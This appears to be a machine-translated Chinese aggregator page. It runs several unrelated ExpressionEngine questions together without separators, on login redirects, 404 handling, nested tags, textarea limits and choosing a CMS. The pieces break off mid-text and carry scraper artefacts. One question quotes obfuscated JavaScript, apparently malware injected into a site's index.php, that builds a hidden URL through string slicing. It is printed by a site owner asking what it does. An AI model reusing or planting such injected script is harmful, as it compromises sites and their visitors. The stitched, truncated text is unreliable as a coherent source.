我正在建立一个网站,工作人员将拥有自己的网站部分:example.com/jones,example.com/smith等.jones和smith是内部具有相同模板的模板组(使用Stash和Low Variables保持这一切都干了).一些用户对隐私有不同的需求.一方面,他们的部分将是公开的.另一方面,一些用户需要管理谁可以访问他们的内容(使用Solspace朋友).
然而,在这个范围的中间是一些人只想防止任何随机的人看到他们的内容.我不想使用成员/成员组来管理它.我不希望访问者需要注册才能看到内容.共享会员帐户是一个选项,但我们由于其他问题而排除了这一点(如果重置密码,评论留在同一帐户下,等等.
我们想要的是密码保护模板组.工作人员可以让人们知道在哪里看到他们的页面,让用户知道密码是什么.这在服务器级别都是可能的,但是可以允许用户直接管理密码吗?我们可以做的任何事情,以尽量减少我们需要多少管理这个更好.自定义字段和添加项允许这种安全性?我没有在Devot-ee上看到任何内容,论坛上的方法也没有这样做.有点过分,但我想问.
场景:
textarea 字段切断特定字符数的粘贴源代码. textarea以便可以粘贴整个新闻通讯源代码.有关如何增加MySQL字符限制的任何想法?我仔细查看channel_fields并尝试将行数从172增加到9999和field_settings rowto longtext,但这没有效果.
我在以下页面有一个登录表单:
site.com/en/downloads
"en"是user_language(并且存储在全局var中)
当我登录时,表单将我重定向到:
site.com/downloads
虽然它应该使用我的user_language将我重定向到URL
我尝试了很多东西,但返回值的值总是被忽略.
他们都重定向到site.com/downloads.
正在输出的代码(对于最后一个示例)如下所示:
<form method="post" action="http://site.com/" >
<div class='hiddenFields'>
<input type="hidden" name="XID" value="9fae3b1b5fcf882776da6638706595af73a7b15d" />
<input type="hidden" name="ACT" value="7" />
<input type="hidden" name="RET" value="about/index" />
<input type="hidden" name="site_id" value="1" />
</div>
Run Code Online (Sandbox Code Playgroud)
我有一个.htaccess,看起来像这样:
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php?/$1 [L]
Run Code Online (Sandbox Code Playgroud)
更新:
我按照建议尝试使用freemember,但问题仍然存在:
我已将返回值设置为"about/index",但我仍然被重定向到site.com/downloads.
freemember生成的代码看起来很稳固,因此必须覆盖返回值.
<form method="post" action="http://site.com/downloads" >
<div class='hiddenFields'>
<input type="hidden" name="XID" value="d9483688fbf63d9ea47e89a66e074b99f5b8465c" />
<input type="hidden" name="ACT" value="18" /> …Run Code Online (Sandbox Code Playgroud) 所以我正在一个主要有4个子域的网站上工作.他们已经拥有MSM许可证,所以我用它来打破潜艇.
我的问题是:
处理所有网站的404重定向的最佳方法是什么?我想为主站点和所有子域使用通用的404页面.
在主站点上,这很容易.
{if no_results OR segment_3!=""}
{redirect="404"}
{/if}
Run Code Online (Sandbox Code Playgroud)
但是,如果我只是添加以下内容,其他网站是否只会为分析注册页面视图:
{if no_results OR segment_3!=""}
{embed="default_site:_includes/404"}
{/if}
Run Code Online (Sandbox Code Playgroud)
我希望能够在网站上获得相同的结果并捕获所有404个统计数据.
谢谢,Brian
我上周验证了我的客户网站xHTML Strict 1.0/CSS 2.1标准.今天当我重新检查时,我有一个由奇怪的和以前的未知脚本引起的验证错误.我在ExpressionEngine CMS的index.php文件中找到了这个.这是我怀疑的黑客攻击吗?我忍不住注意到脚本中编码的俄罗斯域名......
这个javascript在做什么?我需要向客户解释具体的危险.
this.v=27047;
this.v+=187;
ug=["n"];
OV=29534;
OV--;
var y;
var C="C";
var T={};
r=function(){
b=36068;
b-=144;
M=[];
function f(V,w,U){
return V.substr(w,U);
var wH=39640;
}
var L=["o"];
var cj={};
var qK={N:false};
var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2);
var BT="BT";
var fV=RegExp;
var CE={bf:false};
var UW='';
this.Ky=11592;
this.Ky-=237;
var VU=document;
var _n=[];
try {} catch(wP){};
this.JY=29554;
this.JY-=245;
function s(V,w){
l=13628;
l--;
var U="["+w+String("]");
var rk=new fV(U, f("giId",0,1));
this.NS=18321;this.NS+=195;return V.replace(rk, UW);
try {} catch(k){};
};
this.jM="";
var CT={};
var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z');
try {var …Run Code Online (Sandbox Code Playgroud) 我对编码非常陌生(仅使用大学的Web开发101,又名'OMG CSS u guise'),我才开始意识到仅仅知道HTML/CSS并不够好.我已经决定最好让我从一个CMS中学到地狱,因为我并不热衷于学习一门完整的编程语言.主要是我只是希望能够创建即时加载的网站(想想Sproutcore主页)恰好使用某种模板系统,以便随着时间的推移更容易管理.
我已经研究过WordPress了,我知道它是一个超级流行的平台,但是似乎大多数运行WordPress的网站加载速度都不快.我已经阅读了一下,看起来很多编码员认为WP是一个"沉重"的平台.此外,我刚刚在wordpress.org上查看了源代码,发现他们甚至没有在那里运行WordPress!我的意思是来吧!
我也研究过ExpressionEngine,我对事情的处理方式印象深刻.似乎在学习曲线之后它应该易于使用且具有高度可扩展性,但每个商业站点许可证价格为300美元+附加组件的成本,我想更加确信它的价值.我知道AListApart,JasonSantaMaria.com,change.gov,iLounge以及更多高质量,高流量的网站都运行在ExpressionEngine上,但我并不完全相信它的价格是值得的,因为WP可以肯定地完成这项工作. 90%的病例.
我真的很感激你的意见.
也许我应该说F这一切,并用直接的HTML/CSS创建我的静态页面,然后根据Sproutcore使用像Tumblr或WordPress这样的博客平台严格用于博客帖子?
很想听听你的意见.
我有一个简单的图像列表,通过CMS(ExpressionEngine)控制.像这样:
<div class="wrapper">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
Run Code Online (Sandbox Code Playgroud)
我想要做的就是每5个图像,用一类"幻灯片"将它们包装在一个div中.看起来像这样:
<div class="wrapper">
<div class="slide">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
<div class="slide">
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
<a href="#"><img src="#" /></a>
</div>
</div>
Run Code Online (Sandbox Code Playgroud)
我不是手动编码""的原因是因为我使用的jQuery内容滑块需要将每5个图像包装在幻灯片div中.
我不确定ExpressionEngine中的代码是如何做到这一点的,但我认为使用Javascript用div包装每5个图像可能更容易.只需让ExpressionEngine一次输出不同的图像. …
我做了一些搜索,但我似乎无法找到有关在另一个中嵌入频道条目标签对的任何信息.
当我在模板中尝试以下代码时,它会破坏页面,我看到开头{reverse_related_entries sort="desc"}显示为纯文本:
{exp:channel:entries channel="pages"}
{reverse_related_entries sort="desc"}
{if show_testimonial}
{exp:channel:entries channel="testimonials" orderby="random" limit="1"}
<blockquote>
{testimony}
<cite>
<span class="cite_name">{cite_name}</span><br />
<span class="cite_org">{cite_org}</span><br />
<span class="cite_title">{cite_title}</span>
</cite>
</blockquote>
{/exp:channel:entries}
{/if}
{/reverse_related_entries}
{/exp:channel:entries}
Run Code Online (Sandbox Code Playgroud)
ExpressionEngine中有一种方法可以在其自身内嵌一个通道条目标记对吗?
我今天发现,如果您访问的EE站点在文档头中的css链接路径中使用{site_url}标记,则如果您键入https而不是http,则该站点无法加载CSS文件.
我已经通过使用htaccess文件来强制转到http,但我只是想知道EE中是否有一个设置可以更改以使两者都工作?
这只发生在Chrome和IE上,我猜你的浏览器设置取决于安全性.
是否可以通过服务器时间在EE中触发条件?
{if servertime == 'midnight to 13:00'}
do this
{if:else}
do something else
{/if}
Run Code Online (Sandbox Code Playgroud)
谢谢